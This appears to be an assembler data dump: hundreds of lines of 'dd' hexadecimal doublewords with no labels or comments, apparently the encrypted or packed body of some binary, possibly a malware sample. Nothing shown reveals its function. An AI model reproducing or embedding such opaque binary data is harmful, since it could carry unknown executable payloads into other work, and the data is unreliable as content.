		dd 85890000h, 7D10671h,	0E8h, 0D055800h, 89000000h, 2490E903h
		dd 924h	dup(0)
		dd 0EE80000h, 0F5000000h, 0E92B351Fh, 60C89915h, 0F00BA291h
		dd 0FBBF0F02h, 0F2816658h, 0C0819ACEh, 7594h, 855B16B9h
		dd 1DC1817Bh, 0F847AC2h, 386h, 0FAB70F00h, 0EE81188Bh
		dd 7F4CC5CEh, 0C66BEB81h, 0BA6646C8h, 0EB813270h, 2DDB851Fh
		dd 1D2BEB81h, 6E8736Eh,	0AF000000h, 19D58F88h, 5E10B25Eh
		dd 8B661889h, 3E883F0h,	13E9h, 0F29B2C00h, 0EA57E11Eh
		dd 5FC80E45h, 0D25C5D06h, 4C109415h, 0FE8B6648h, 0F01E983h
		dd 2785h, 11E900h, 0BED00000h, 0EB44EDF1h, 34E871B5h, 0ED6DB31Eh
		dd 0E91648A8h, 27h, 0DBFA0BBCh,	181AD098h, 31971FC7h, 0EDC297BEh
		dd 0FF76E94Eh, 2DEBFFFFh, 7726A59Ch, 848F31CAh,	0A9F29C24h
		dd 0EBE34FF5h, 3EBB9C0Ch, 279D8607h, 0DE509009h, 5F5E909h
		dd 0E9E90000h, 4000005h, 0ECD9669Ah, 0DAC754A8h, 0C9B643BDh
		dd 0B29F2CCAh, 0D08B18D0h, 4DABE7CDh, 3AB0D3C0h, 25C3C0ADh
		dd 0FEDAB98h, 37F4E082h, 1A016636h, 22C8A68Eh, 0B4F47936h
		dd 39D01228h, 21DFBDAAh, 5E324F3Ch, 462BC23Eh, 0D4C03E59h
		dd 5F9DFBE8h, 4726E37Ah, 7D1228B5h, 857257E6h, 1A06EB05h
		dd 5946A2Dh, 997E7A18h,	2A0FEDACh, 68A0DA3Eh, 9E49050Eh
		dd 7E78F5B2h, 0B54C1229h, 0A25C3926h, 316DD1BDh, 0AB8CA5BEh
		dd 0BFD9C655h, 0DCCE5C41h, 0DC94513Dh, 0E81A01CFh, 7B609EFBh
		dd 609EF7E4h, 684DE47Bh, 0B1171A7Bh, 0EF9B9995h, 45CC6D73h
		dd 5CF35B2Eh, 0A9ECD9C5h, 0E0A6E53h, 659CC809h,	0D05DEC83h
		dd 674CA2E3h, 9BD28F7Bh, 291A0233h, 8A460392h, 731AEA22h
		dd 0A5E259C8h, 0B6735F4Bh, 1AEA22B7h, 5AE7760Dh, 5D120A6Eh
		dd 0CF87D0BCh, 21C0B240h, 62FC7835h, 31C822C3h,	6E225F4Ch
		dd 59F0D52Bh, 4B4835C2h, 280BC8ADh, 5431C227h, 0C3AA6730h
		dd 131C226h, 1EED36Ah, 1A531083h, 0AA31C227h, 0B977C13h
		dd 64D0B160h, 0B6D34AB9h, 6D1DAB38h, 0C7B4A08Ch, 0B34A2FCDh
		dd 295B6724h, 35223993h, 660B9A54h, 12FEEACFh, 932A1855h
		dd 8615AC39h, 9329A0C9h, 44B8DC39h, 0D612725Fh,	2BDA85F1h
		dd 726E427Dh, 0DE75BE0Eh, 3172A14Ch, 61380D7Eh,	75Fh, 3C968100h
		dd 0B8000003h, 0A1866021h, 30CCC8B5h, 3825B44Bh, 51B5A15Fh
		dd 3944DD68h, 7257E61Dh, 0D7C4B09Ch, 0ED803DBBh, 0D71229A8h
		dd 69964973h, 0BC53840Eh, 9C93822Dh, 877401FFh,	2A07EC0Ah
		dd 0A3593B58h, 37B1D1BEh, 0CC3BE652h, 0F221CCABh, 0B4A05E3Bh
		dd 4E1FDCC8h, 76122922h, 224B22DFh, 0E2791229h,	0BCD9C653h
		dd 11705D42h, 4383E7D3h, 73F4835Dh, 7C250A99h, 0AAEB22D1h
		dd 0CF0AC754h, 0AE915AF6h, 4126C0C1h, 0FD0B46AAh, 42CB5D4Bh
		dd 2CC4C6B3h, 0B6345340h, 1EAB3AD1h, 4E1CCE32h,	8D73963Ah
		dd 0A919AD29h, 0C554838Fh, 5A3FBDD8h, 0E8D42A6Dh, 0D46399FBh
		dd 29D883EFh, 0CC5997F2h, 0B054h, 18807600h, 0CE99FDE9h
		dd 827C1D6Fh, 1D7B661Eh, 0DCBCA98Eh, 0E1A69320h, 6D2A0Fh
		dd 0C012294Fh, 81ACE7D4h, 0D8AA532h, 1AFF9692h,	0DA49F483h
		dd 2CFF2263h, 4CF2A474h, 907D0AA1h, 2512F7F5h, 38A48967h
		dd 0ECA79E8Dh, 0F194810Eh, 692916FBh, 0D8BDAA8Fh, 30544126h
		dd 0C06BD7BCh, 0DC873051h, 8E0AF72Dh, 93F6E372h, 0A7E3D05Dh
		dd 3B3637F4h, 0F78E1229h, 0CB9E7B60h, 8A0BF8E4h, 0EC837D1Eh
		dd 0CC43B25Dh, 0B8A532CEh, 7B381DDBh, 12293AEFh, 2BE211BCh
		dd 0B7A4906Eh, 30CCC8DCh, 7DF0AD99h, 4712293Ah,	0A89421B0h
		dd 0FFA0C744h, 3AC91CC4h, 8660215Ch, 19D7B4A1h,	0EFDA834h
		dd 8E6C2B18h, 217112FFh, 96523060h, 0EC831AB1h,	0B9A4A25Fh
		dd 0BCD81228h, 7E32A940h, 6139CD37h, 0FFFFFF22h, 0EF128083h
		dd 0E7344603h, 0F99019F9h, 8B692714h, 757311FEh, 0FC9C89h
		dd 0DB98841Bh, 19F9E692h, 270C9B32h, 0DB924F3Bh, 0E919F9E6h
		dd 0D328F385h, 942B6006h, 800FEDA7h, 11F6F493h,	150BFAA5h
		dd 0AA8F6D28h, 5B257B46h, 4DE47EBFh, 68B3D1BEh,	0E7A4602Ah
		dd 8815ACE1h, 13FFFD9Bh, 38BE6526h, 2D951E23h, 4328B74Eh
		dd 0FA98E486h, 0DF4EF919h, 0C5FF2868h, 5FD7FD1Eh, 0BBA835CCh
		dd 2EC8C9DDh, 361BB249h, 2B17FAA8h, 0CB6C546Eh,	4CD97021h
		dd 0DA107360h, 41CF5EF5h, 7C4B051h, 29A41C71h, 0EE1AEF53h
		dd 9A4DF1B2h, 50311E03h, 7F1C0996h, 0F1DF9C81h,	8B2A8C09h
		dd 210EF309h, 18A48967h, 7DDBE6Dh, 1576AD5Ch, 5F8BEFDBh
		dd 55ABEEADh, 175D970h,	0C54A5E6h, 33564C30h, 93800D9Ch
		dd 2815FAF0h, 16A88D6Bh, 0B4FBBC6Bh, 295230A2h,	0ABh, 5435224Bh
		dd 8F1EB59Ah, 7D0AE6A2h, 7D2CF790h, 0E4D355B3h,	95EFE8B3h
		dd 1B4B7631h, 0F217DAB7h, 59F0378Bh, 0B1DD096Dh, 74D81470h
		dd 0FC8B7EE4h, 8F03826Fh, 0CE5BF2F0h, 5E90F5E2h, 6653E279h
		dd 7CE0CC24h, 0CD206BB6h, 0A05C3C57h, 1ED7A09h,	74AE7114h
		dd 9D7962B4h, 0FFC8B22h, 0FBE87573h, 0E8D56298h, 0D3C04DABh
		dd 0BDAA37B5h, 763256DDh, 0AC4B5294h, 291D7EEFh, 18AF4612h
		dd 94389C81h, 8C9CBE3Fh, 1300E587h, 0E9927775h,	0B7A3CF3Eh
		dd 28F873FAh, 2DBA5112h, 642EA68Bh, 50000000h, 0B482EEABh
		dd 933E1228h, 21351364h, 0FFC8967h, 0FEEB7876h,	8975619Fh
		dd 28B4A1CCh, 0FD8C2312h, 0E9078370h, 0A67110FDh, 69F4EA12h
		dd 9A7F161Bh, 0FAE77403h, 0E7D36098h, 37889F83h, 0A1308C4Bh
		dd 9C6D1B4h, 12295764h,	0B565C960h, 908A11CEh, 1E0B982Fh
		dd 9F6837Dh, 68E06D8Bh,	3, 21E4C28Ah, 0B19E837Dh, 433015D3h
		dd 0D6C3A846h, 6B583DB3h, 0FFECD12Fh, 93806583h, 2411F6F4h
		dd 0BBA88D63h, 6F3E23D9h, 55E08950h, 9B7A3EBDh,	7E5C15Ch
		dd 8105EDC1h, 0D46624C5h, 96E58151h, 813A3E05h,	0A732E5F5h
		dd 13C58164h, 18B5AC8h,	0E8835DE8h, 24048704h, 0E789575Ch
		dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 56240489h, 0F77E30BEh, 0C3B8500Ch
		dd 0F7381379h, 0D51005D0h, 0C6319ACFh, 0D1D6F758h, 5CF681EEh
		dd 894F02DCh, 8B545EF3h, 0C4812404h, 4,	895E5356h, 8B5E0870h
		dd 89562404h, 4C681E6h,	81000000h, 4C6h, 24348700h, 2434FF5Ch
		dd 4C4835Bh, 0F8C783E9h, 0A5B414FFh, 3AF8680Eh,	0D8B652B8h
		dd 8BC50307h, 4C3EE9D3h, 910D0000h, 93F5E26Fh, 0A2E3D05Dh
		dd 0B3D2BF4Ch, 0DFBBA835h, 0C4D99421h, 0C95692F0h, 0B643B9DCh
		dd 0A12EC8C9h, 8B18D4B4h, 2D40FDE9h, 971A016Ch,	3522D1AFh
		dd 1EB59A54h, 21ECCA8Fh, 9A503367h, 0B47CF1AEh,	0B1481228h
		dd 4B293C1Ah, 0A6846221h, 6721DCBAh, 0F789DFBCh, 0FD974088h
		dd 380468FFh, 0CC299A66h, 0C15D3BD2h, 876121E3h, 0BE22A9h
		dd 16BD3680h, 14F2D766h, 0A8866021h, 9E503522h,	6A4C2A0Fh
		dd 7936228Ch, 1228B4F4h, 49A7E3D0h, 0A736CD64h,	21250DFCh
		dd 0B09D8967h, 0AB8918D4h, 66214B29h, 4B29AA88h, 6AE84C38h
		dd 0B6B36430h, 9EE0A8Ah, 6E4CDB72h, 218CB463h, 399D8967h
		dd 0A419C43Dh, 220F90D6h, 0DB6186E7h, 81D7B544h, 10ECA895h
		dd 0A45C3E2Bh, 29128BFh, 0DBDC5124h, 21AF1228h,	22AB8967h
		dd 2CA181BEh, 692E926Eh, 1EAB3AB7h, 56352240h, 12E8AB98h
		dd 1A07962Dh, 22A4827Eh, 0B4F47936h, 39D01228h,	213F1DAAh
		dd 0B09D8967h, 4E7D47D0h, 10686355h, 290CEA79h
		dd 8967214Bh, 314B29ABh, 78565161h, 228CB463h, 0B4995735h
		dd 0E7A18E1Dh, 8219D7B3h, 573522A4h, 8E1DB499h,	69281501h
		dd 0B4F47936h, 39D01228h, 223513A2h, 0E2F4F4BEh, 2DBC8997h
		dd 29D0D170h, 6721BA12h, 0EE7AC4BCh, 28BF4BE4h,	21A3814Ah
		dd 29AB8967h, 5161314Bh, 0B4637856h, 8967218Ch,	533522ABh
		dd 0A3810E9Dh, 0AB896721h, 66214B29h, 0B4F77633h, 36CD1228h
		dd 1BB24C49h, 214B293Dh, 0B4A18660h, 0C73318D4h, 0E88CED1Ch
		dd 5435220Ah, 0B1600B9Ah, 89672189h, 0A89581ABh, 878C3FE8h
		dd 0E5A93EC4h, 42DDEA4Eh, 0B4E9CFB9h, 63214725h, 4B29A785h
		dd 43306321h, 30C7AC42h, 0B486E4A1h, 513E1228h,	3DD4B937h
		dd 20B73550h, 5A4E4734h, 9928BF39h, 0F85C48BBh,	0E637F59Fh
		dd 2E0C9B33h, 54416331h, 73D7BC30h, 2535073h, 9982F54h
		dd 636E4C2Bh, 63218CB4h, 28B50B5Fh, 0C9CCB912h,	54AA7266h
		dd 831AF575h, 0CBA90EECh, 0A7856321h, 35224B29h, 520F9E50h
		dd 1228B544h, 63C4A247h, 63218CB4h, 0E9AC9985h,	46412E13h
		dd 0A48211A8h, 6421A381h, 4B29AC8Ah, 0AC8A6421h, 1380A381h
		dd 52BE22A9h, 3E6484E7h, 0A35D3E2Bh, 65692714h,	12298C05h
		dd 0E0B3D2BFh, 298C4A23h, 4CE37A12h, 5B39D067h,	0BE226A48h
		dd 81D4D6E2h, 0BF3D5891h, 0E9AC9928h, 9059D8BDh, 0A2C9FCADh
		dd 0A33A1FB6h, 36222E0Ch, 28B4F479h, 0A7E3D012h, 5D23B249h
		dd 63D6B47Fh, 63218CB4h, 28B50B5Fh, 857212h, 0E37209EEh
		dd 0B39FDA3Eh, 39A044F7h, 0BDA9C4A2h, 0B55914D1h, 0D46B1228h
		dd 35226745h, 1CB39856h, 5D2475B8h, 16A508FCh, 2286BC6Bh
		dd 8CF64218h, 8A68F723h, 532F6321h, 0FEDA895h, 0A3819A78h
		dd 98846221h, 8110EEABh, 573522A3h, 39250A99h, 0CDB24E4Ch
		dd 21C9A736h, 0B29E8A64h, 28B478F5h, 26B54C12h,	214B2948h
		dd 29A78563h, 8866214Bh, 553522AAh, 544E02CEh, 1FB66D89h
		dd 2F14A33Ah, 228C6A51h, 0B4F47936h, 39D01228h,	2810FFAAh
		dd 0F4793622h, 0D01228B4h, 99E3396Ch, 25BC6007h, 0CEAA996h
		dd 21A3812Eh, 0BAAC8A64h, 2F6221DCh, 28B4FB72h,	9B32C912h
		dd 21E3C1BDh, 0FB722F62h, 811228B4h, 6E05EA04h,	0BD9B32C9h
		dd 36224B29h, 28B4F479h, 27E4D012h, 1228B546h, 0C150E77Eh
		dd 560195E4h, 8CB46378h, 98846221h, 2B10EEABh, 3E5516C7h
		dd 0DE750B8Eh, 0A381714Fh, 0AC8A6421h, 36224B29h, 28B4F479h
		dd 0EB098812h, 33CA6F06h, 20DEB7A4h, 6DBE2242h,	90884959h
		dd 3F1D0291h, 50346421h, 3320059Ch, 0E1B79C52h,	2A6C736h
		dd 0F5BE2224h, 867DE1F5h, 43206B59h, 6F068319h,	5EC635E0h
		dd 0A6846221h, 6121A381h, 4B29A987h, 0A9876121h, 36224B29h
		dd 28B4F479h, 0AA39D012h, 2FEBFFCDh, 8CB46351h,	23BA6121h
		dd 0E50382C3h, 0D7056900h, 4725BC7Ah, 9C319581h, 804FB865h
		dd 21C7A534h, 0F569BA61h, 0BF6D00BDh, 0C0571228h, 4007035Ch
		dd 0DCBACBA9h, 0A9876121h, 0BE22E3C1h, 1B6B704Bh, 0CCB94887h
		dd 525D0DC9h, 0D0671229h, 316A48F2h, 0AD8B8D5Dh, 0F4793622h
		dd 0D01228B4h, 10FFAA39h, 8A642128h, 14D2B19Eh,	3522A785h
		dd 0E5884554h, 0DF1228B4h, 35CCB148h, 796652A6h, 63FADF19h
		dd 3522F6D4h, 1D0A9957h, 0FC712E7Dh, 0C81228B4h, 22BC9A31h
		dd 0AB778BBEh, 35C4FB1Fh, 61210AE8h, 0A381A987h, 0BAFEBE22h
		dd 0BC5587D8h, 0A947402Dh, 514B29CBh, 12295C01h, 3464218Ah
		dd 1EB59A56h, 9581A987h, 2A0FEDA8h, 21260493h, 29AC8A64h
		dd 0CC75D93Dh, 573CB8D8h, 630A5CC0h, 31CCAA39h,	78565161h
		dd 9B553522h, 0E5901FB6h, 57140036h, 1228B516h,	6B2A17AEh
		dd 8211A88Dh, 356421A4h, 28B4F578h, 0A138CF12h,	22A381C3h
		dd 0B89D5335h, 97049221h, 8289512Dh, 21021229h,	81AC8A64h
		dd 0BDA995h, 1228B46Dh,	6A03C057h, 5A1228B4h, 635634C3h
		dd 67218CB4h, 3522AB89h, 290E9D53h, 0D994513Dh,	0EB1228B4h
		dd 21E7C554h, 29AC8A64h, 5635224Bh, 8D1CB398h, 2604E0A0h
		dd 0A4824B29h, 0F4793622h, 0D01228B4h, 10FFAA39h, 8A642128h
		dd 14D2B19Eh, 2B09982Fh, 6421A381h, 0D0B19E8Ah,	0B46904C1h
		dd 0C45B1228h, 22B1482Dh, 52352244h, 0A2800D9Ch, 50346421h
		dd 8920B79Ch, 21A381ABh, 29A98761h, 7936224Bh, 1228B4F4h
		dd 1CAA39D0h, 6121456Fh, 28B50961h, 0E877412h, 25BC61F0h
		dd 0DD904D39h, 0E71228B4h, 48E3C150h, 1D2D316Ah, 3522DFBDh
		dd 5F0A9957h, 612188B0h, 28B50961h, 4624BB12h, 3622CBA9h
		dd 28B4F479h, 0AA39D012h, 212810FFh, 22A98761h,	0AD9A5435h
		dd 0BB8110EEh, 616121DDh, 1228B509h, 0EC0A8774h, 0D96886FFh
		dd 0C5B19D34h, 28B46508h, 39C85F12h, 0B46A485Bh, 8CB463D6h
		dd 8BBA6121h, 8FC6A3DBh, 0A916F48Bh, 886621CBh,	214B29AAh
		dd 3C73BA61h, 0D429FC5Bh, 95F9344Ah, 0ED8466DFh, 226A480Fh
		dd 0E08D4A36h, 0E41228B4h, 0B4DD904Dh, 50E71228h, 3DCC2263h
		dd 4ECBDF60h, 8CB46370h, 9B876121h, 2E13EDAEh, 0A92A0897h
		dd 316121CBh, 15019856h, 0A98E6A28h, 8C622512h,	0A38110A7h
		dd 6021A381h, 0B4F97431h, 34CB1228h, 0BE22BF9Dh, 8522D034h
		dd 0DABF4E70h, 5C038AEEh, 9A8E85CBh, 60212D0Bh,	5D369A86h
		dd 3D4C79D9h, 48C8A635h, 0B484316Ah, 3522D6B4h,	1CB39856h
		dd 0B33E28Dh, 0A8866021h, 6030BE22h, 0D4620F26h, 7F4E045h
		dd 0F5E1B8Eh, 0B5122956h, 0BA2871Eh, 61219E7Ch,	6A48A987h
		dd 57436131h, 28B4D39Ah, 0CB5AF112h, 226E4CEDh,	4B936BBEh
		dd 70FFCF22h, 21EE56C5h, 22A98761h, 0B89D5335h,	4E33C9CBh
		dd 2C9120B7h, 6060214Eh, 1228B50Ah, 224523BAh, 0B4F47936h
		dd 8881228h, 0CB7007ECh, 1DFA534h, 9D533522h, 0A59221B8h
		dd 482E0CE2h, 6349276Ah, 0BE228CB4h, 38F40EC2h,	0EBD86701h
		dd 14402AAEh, 0ED841229h, 0D0BDA90Fh, 40BEDDB1h, 482DC45Bh
		dd 214422B1h, 0DBCEB960h, 3BA768E6h, 0FCCB8A4h,	1229125Eh
		dd 0EFED0266h, 293E70E9h, 81250392h, 876121A3h,	21A381A9h
		dd 22AC8A64h, 0B4F47936h, 39D01228h, 21E7C5AAh,	29AC8A64h
		dd 8462214Bh, 214B29A6h, 0B29F8462h, 0A73318D0h, 236C0DFCh
		dd 8CB46345h, 0AC8A6421h, 3622A381h, 28B4F479h,	0AA39D012h
		dd 22456F1Ch, 43425635h, 9229C0A5h, 6D2A16ADh, 1228B500h
		dd 0B19E2DC4h, 0BA3B19D7h, 8A6421DCh, 63E3C1ACh, 64218CB4h
		dd 0D0B19E8Ah, 0B9A3116h, 214B292Dh, 0E01EBC67h, 0C169DA38h
		dd 573CB0D4h, 224B29C0h, 0B79C5235h, 0CEAC9120h, 0B4635A38h
		dd 8A64218Ch, 78F5B29Eh, 4C1228B4h, 814826B5h, 896721A3h
		dd 224B29ABh, 0B59A5435h, 5F260751h, 90277562h,	26701401h
		dd 7F38A66h, 510F5E1Bh,	0B16E1229h, 122950BCh, 68CC7108h
		dd 8507568Fh, 0F4831AD7h, 214B2916h, 29AB8967h,	0B533503Dh
		dd 0CCAA39D0h, 0B4638C6Ah, 98D5927Eh, 2C1228B4h, 22280695h
		dd 4D9569BEh, 2F1CC307h, 16AD9250h, 0ADFD9A87h,	9E7C13EDh
		dd 6721DCBAh, 0B2975533h, 22A6841Bh, 0B69B5535h, 0D74DBB1Fh
		dd 51C70065h, 229775C2h, 0B69B5535h, 86D3901Fh,	51228BEh
		dd 0AB896721h, 99573522h, 229F7D0Ah, 0E9D5335h,	0AB896721h
		dd 6421A381h, 9581AC8Ah, 0B481ECA9h, 0AC431228h, 0B46A03C0h
		dd 0C35A1228h, 63215634h, 4B29A785h, 0A8866021h, 66214B29h
		dd 4B29AA88h, 64234751h
		dd 8C6A4465h, 218CB463h, 34988462h, 0E191D7B1h,	1DFB8AD6h
		dd 25E2CEBAh, 1228B548h, 7856E57Ch, 5C8CBE22h, 4CC197AAh
		dd 34B0D0BDh, 57352256h, 8E1DB499h, 61216341h, 28B50961h
		dd 4624BB12h, 8A316A48h, 63AD8BB6h, 0F0917EB4h,	1E03E1A0h
		dd 8361F087h, 9A866021h, 27C1C1AEh, 7FEEAB42h, 0FE1228B4h
		dd 28B52C41h, 5C019812h, 815836C5h, 896721A3h, 214B29ABh
		dd 29AC8A64h, 8660214Bh, 17D5B4A1h, 2FDE8932h, 0C55C98F8h
		dd 0B4634321h, 5535228Ch, 14ECAE9Bh, 1C09982Fh,	0BAA2807Ch
		dd 47A1E1CEh, 6021DAB8h, 0DCBAA886h, 0B4637A58h, 8563218Ch
		dd 533522A7h, 0E3C10E9Dh, 1101BE22h, 2A0FEDACh,	0DC0F2F93h
		dd 187865F4h, 28EDB4B6h, 17AC1012h, 0CF9FFF48h,	95816D04h
		dd 299995D8h, 9982F12h,	226A482Bh, 0B3985635h, 0E5A08D1Ch
		dd 28B489E1h, 0C6A43B12h, 64216A48h, 0D9B8A58Ah, 1FCA361Bh
		dd 57358FF0h, 98563522h, 79AF5E09h, 526B7215h, 0EC7B50D0h
		dd 5F63210Eh, 1228B50Bh, 0D23622B9h, 512CF252h,	0A17F0E25h
		dd 0B2D0BDA9h, 0F474D236h, 0AD628652h, 0BE22401Eh, 197A03D3h
		dd 0FD797BDFh, 0EAAA9726h, 0F0A3741h, 0DA495FFh, 21A3812Fh
		dd 0AD9A8660h, 0A38110EEh, 45D93D29h, 46C53110h, 21411FAEh
		dd 29A88660h, 4062314Bh, 0A9663153h, 1228B4C4h,	43D26900h
		dd 56432F65h, 4C2AB937h, 228CB463h, 0B4F47936h,	39D01228h
		dd 22DCBDAAh, 80A38144h, 0F5379B13h, 0D59855F7h, 0EF1228C1h
		dd 0BF5DF458h, 21D5B342h, 29A88660h, 0B937503Dh, 0D0AE3DD4h
		dd 9D533522h, 8967210Eh, 0D93D29ABh, 3873F61Bh,	0F8D6653Ah
		dd 0B463C4A2h, 3060218Ch, 0A6424254h, 0FC932AC1h, 31642310h
		dd 28B4F974h, 9D34CB12h, 5E0FCCB8h, 661228B5h, 0CBA938CFh
		dd 0F4793622h, 0D01228B4h, 3F1DAA39h, 218CB463h, 916F2E62h
		dd 927E15ACh, 260BE5A5h, 59C5A39h, 987D7B18h, 29947201h
		dd 8660214Bh, 0A89581A8h, 0A38110ECh, 9A866021h, 2B10EEADh
		dd 29270594h, 8563214Bh, 384B29A7h, 59BE225Ah, 45A97D82h
		dd 71A04BDAh, 866021C9h, 79E5369Ah, 0D51BC1h, 0A3819371h
		dd 9A866021h, 48526E36h, 4AD9F5C2h, 21A3816Ch, 29A78563h
		dd 8967214Bh, 22DCBAABh, 0AB985635h, 948110EEh,	221AF8F4h
		dd 47435735h, 962DC4A9h, 80DCBA07h, 0F2AF9B13h,	1228B47Bh
		dd 4523B249h, 5578BE22h, 0BD91865Eh, 5237B5D0h,	413F2CBBh
		dd 6A48C5A3h, 0A7506031h, 8CB463C9h, 0A1EDBE22h, 0F25529C9h
		dd 0DA167663h, 63CBA9FCh, 0F0917EB4h, 0EB7A11F6h, 8563210Dh
		dd 793622A7h, 1228B4F4h, 0CF10F88h, 0AA39D075h,	0A9ECD9C5h
		dd 0EAD76E53h, 0D56C51AFh, 36226846h, 28B4F479h, 0AA39D012h
		dd 28B447EDh, 4A493612h, 0A130C7ACh, 8D7965C3h,	2005E3A0h
		dd 0B4A1CC89h, 8641228h, 0D69A8A5Ah, 36C55C01h,	8CB46358h
		dd 73306321h, 1228B4FAh, 0BE9C33CAh, 9C523522h,	49120B7h
		dd 0A9138026h, 99573522h, 5B7F1D0Ah, 1228B50Fh,	30CCC8B5h
		dd 311DB44Bh, 1CAB4144h, 316A483Eh, 6E4C5161h, 218CB463h
		dd 0B50B5F63h, 0CCB91228h, 0B44B30CCh, 35223F1Dh, 0EFAC9856h
		dd 1228B47Eh, 0BB20AF46h, 0BCA86BCFh, 53F98C28h, 0A19F09EFh
		dd 4FDE9135h, 8CB46371h, 532F6321h, 7C4B095h, 1228B466h
		dd 9930C75Eh, 0CC3D49ADh, 0D8C42319h, 95816B49h, 270CE8A8h
		dd 21230190h, 29AA8866h, 3060214Bh, 20FE9553h, 0BE224B29h
		dd 0A2D260E4h, 4D3AC963h, 11715E4Dh, 8505F2D7h,	58EF866Bh
		dd 555E0CC9h, 331F1229h, 28CAACFh, 4D0A5281h, 12296520h
		dd 64CDA05Dh, 60F71229h, 0F09524BBh, 0BE227B59h, 0B3C11195h
		dd 3C95846h, 88662125h,	21CBA9AAh, 0B5096161h, 57BB1228h
		dd 7BD3E8FBh, 0B3912879h, 6E6ABE22h, 0DBA164Ch,	21DAB87Eh
		dd 0A9A88660h, 35B3D0BDh, 4C2AB950h, 0A8866021h, 0BE224B29h
		dd 0D1759641h, 0D22E6C70h, 0BA63D73Bh, 0D7AECA4Bh, 881C6B48h
		dd 0B4637856h, 7936228Ch, 1228B4F4h, 0BDAA39D0h, 814422DCh
		dd 0DE8B3195h, 9B5923A3h, 296B8FDEh, 79E3512h, 60219A78h
		dd 0A381A886h, 9C886621h, 4A966038h, 87053340h,	6543D269h
		dd 0C460BE22h, 0F97B4A56h, 21A7856Ah, 29A98761h, 0C9B6A24Bh
		dd 0C19F2EC8h, 9C523522h, 0E69120B7h, 66210F37h, 0A381AA88h
		dd 0AB896721h, 0F4793622h, 0D01228B4h, 0E7C5AA39h, 98846221h
		dd 2C11EFABh, 22280695h, 9648A0BEh, 2E1BF468h, 16AD926Eh
		dd 51C4A287h, 9CC5211Eh, 638C6A6Dh, 461A7EB4h, 0EECA7A2h
		dd 0C62E9229h, 300E9D94h, 0AA886621h, 6621A381h, 6A48AA88h
		dd 9B876121h, 2D12EEAEh, 48290796h, 0D8166F5Ch,	624E6B49h
		dd 657971FEh, 210EE545h, 0AA18660h, 0B4639D7Bh,	8866218Ch
		dd 22CBA9AAh, 9985635h,	0A583791Ch, 9A543522h, 610CC9B5h
		dd 631228B4h, 19A635CCh, 8462213Bh, 224B29A6h, 0B4F47936h
		dd 39D01228h, 0DBC6EDAAh, 53B71228h, 0AF3D4165h, 0E7C554D1h
		dd 0A6846221h, 6221A381h, 4B29A684h, 0A8866021h, 60214B29h
		dd 0D1B4A186h, 42ED361Bh, 0F0DCB2D3h, 0DB51FB8Ch, 6D0581ADh
		dd 5900691Fh, 0B4D5C259h, 2FBE553Ah, 8CB46351h,	9C523522h
		dd 773420B7h, 1228B4F6h, 0BBA837CEh, 81401EDCh,	886621A3h
		dd 793622AAh, 1228B4F4h, 904D39D0h, 1228B4DDh, 6DC150E7h
		dd 8462218Fh, 22E3C1A6h, 244A32BEh, 0CBB8D3EBh,	0B7A433C9h
		dd 29411FDDh, 5335224Bh, 62210E9Dh, 0BE22A684h,	7B1A8BB3h
		dd 9D01987Dh, 0EB7AC2C9h, 6221805Eh, 0A381A684h, 0A7856321h
		dd 66214B29h, 1985032h,	216A4823h, 0B50B5F63h, 22B91228h
		dd 0D0BDA944h, 45A3E1B5h, 21411FAEh, 22A98761h,	651A71BEh
		dd 712E1CDEh, 122926FCh, 0B9A31C8h, 17316745h, 63AD8B43h
		dd 63218CB4h, 28B50B5Fh, 857212h, 0E37209EEh, 0CEBBA73Eh
		dd 0B74E33CDh, 6A484A28h, 0B5F6321h, 0B91228B5h, 5C484422h
		dd 0B4BAB370h, 730A1228h, 0AD8B06E4h, 137FBE22h, 4C31CFCEh
		dd 0DBDC51B5h, 0DC4BF685h, 0DD1B7966h, 6F5490F0h, 216B49D8h
		dd 0BAAB8967h, 2F6321DCh, 20FE9553h, 6321E3C1h,	0B4FA7330h
		dd 33CA1228h, 0C7C3B09Ch, 81BC9A29h, 896721A3h,	214B29ABh
		dd 0AF9C8866h, 0A58312D0h, 9C523522h, 21DBB90Dh, 0C1AB8967h
		dd 412CE9D5h, 0C41228B5h, 0E20379C3h, 730AAFF3h, 352206E4h
		dd 22B99E50h, 4FCFD693h, 21BC1229h, 81AB8967h, 523522A3h
		dd 9120B79Ch, 0D3B6E0A4h, 0AA1381Dh, 214B292Ch,	29A98761h
		dd 638C6A4Bh, 0BE228CB4h, 0D49A6CBCh, 43008F4Dh, 1229F7EFh
		dd 8967219Ch, 21A381ABh, 0A6D4BC67h, 627C21FEh,	90F2DFCBh
		dd 7D0F7358h, 0D7A55558h, 0CAA837CEh, 3522A381h, 460B9A54h
		dd 79362268h, 1228B4F4h, 0E5AA39D0h, 50352207h,	9322B99Eh
		dd 300EE2A6h, 0CDAB4B29h, 0AB896721h, 6721A381h, 49B5133h
		dd 224B2926h, 0E9D5335h, 28B51C51h, 87656F12h, 1098BE22h
		dd 0FC1907BEh, 0EB53C26Dh, 0AB896721h, 6321A381h, 4B29A785h
		dd 28B51C51h, 0BE226F12h, 3E822154h, 0BC796543h, 122976B1h
		dd 0ED7C13h, 81866480h,	0EEAA895h, 6721A17Fh, 0B59A5033h
		dd 22A9871Eh, 0B4F47936h, 0CC891228h, 1228B4A1h, 50E78C23h
		dd 0B4C6A764h, 67FE1228h, 1A07F3D8h, 0F494817Fh, 0ED7C13F8h
		dd 8563210Fh, 533522A7h, 3D290E9Dh, 0B4D99451h,	54EB1228h
		dd 6121E7C5h, 0D5B5A287h
		dd 0E28D361Bh, 907C5233h, 7D0CE2A3h, 8CB4639Fh,	0F4793622h
		dd 0D01228B4h, 0B4484C39h, 0A05C3825h, 6CA381C2h, 214B298Eh
		dd 81A78563h, 0D2BFABA3h, 0BF563BB5h, 1C515230h, 6F1228B5h
		dd 0B4638765h, 0AF9B878Ch, 0B46706C3h, 0C65D1228h, 28B46409h
		dd 3AC96012h, 8967215Ch, 14D0B09Dh, 3D29A785h, 0B4D99451h
		dd 0FFEB1228h, 28B52B42h, 6B029912h, 8E6CFEDCh,	46523522h
		dd 33CAAF41h, 64210D9Ch, 1228B509h, 0A0E2CFBBh,	0B4E28B48h
		dd 7EE21228h, 9C2D0289h, 17AE4547h, 214B2939h, 81AB8967h
		dd 0A665AAA3h, 3C2D5771h, 6522BC9Ah, 1228B508h,	814725BCh
		dd 298E6CA3h, 21A9874Bh, 29AA8866h, 1C806C4Bh, 42591B79h
		dd 8A68F7DBh, 4B493622h, 0A231C8ADh, 28B488E5h,	0B9A53C12h
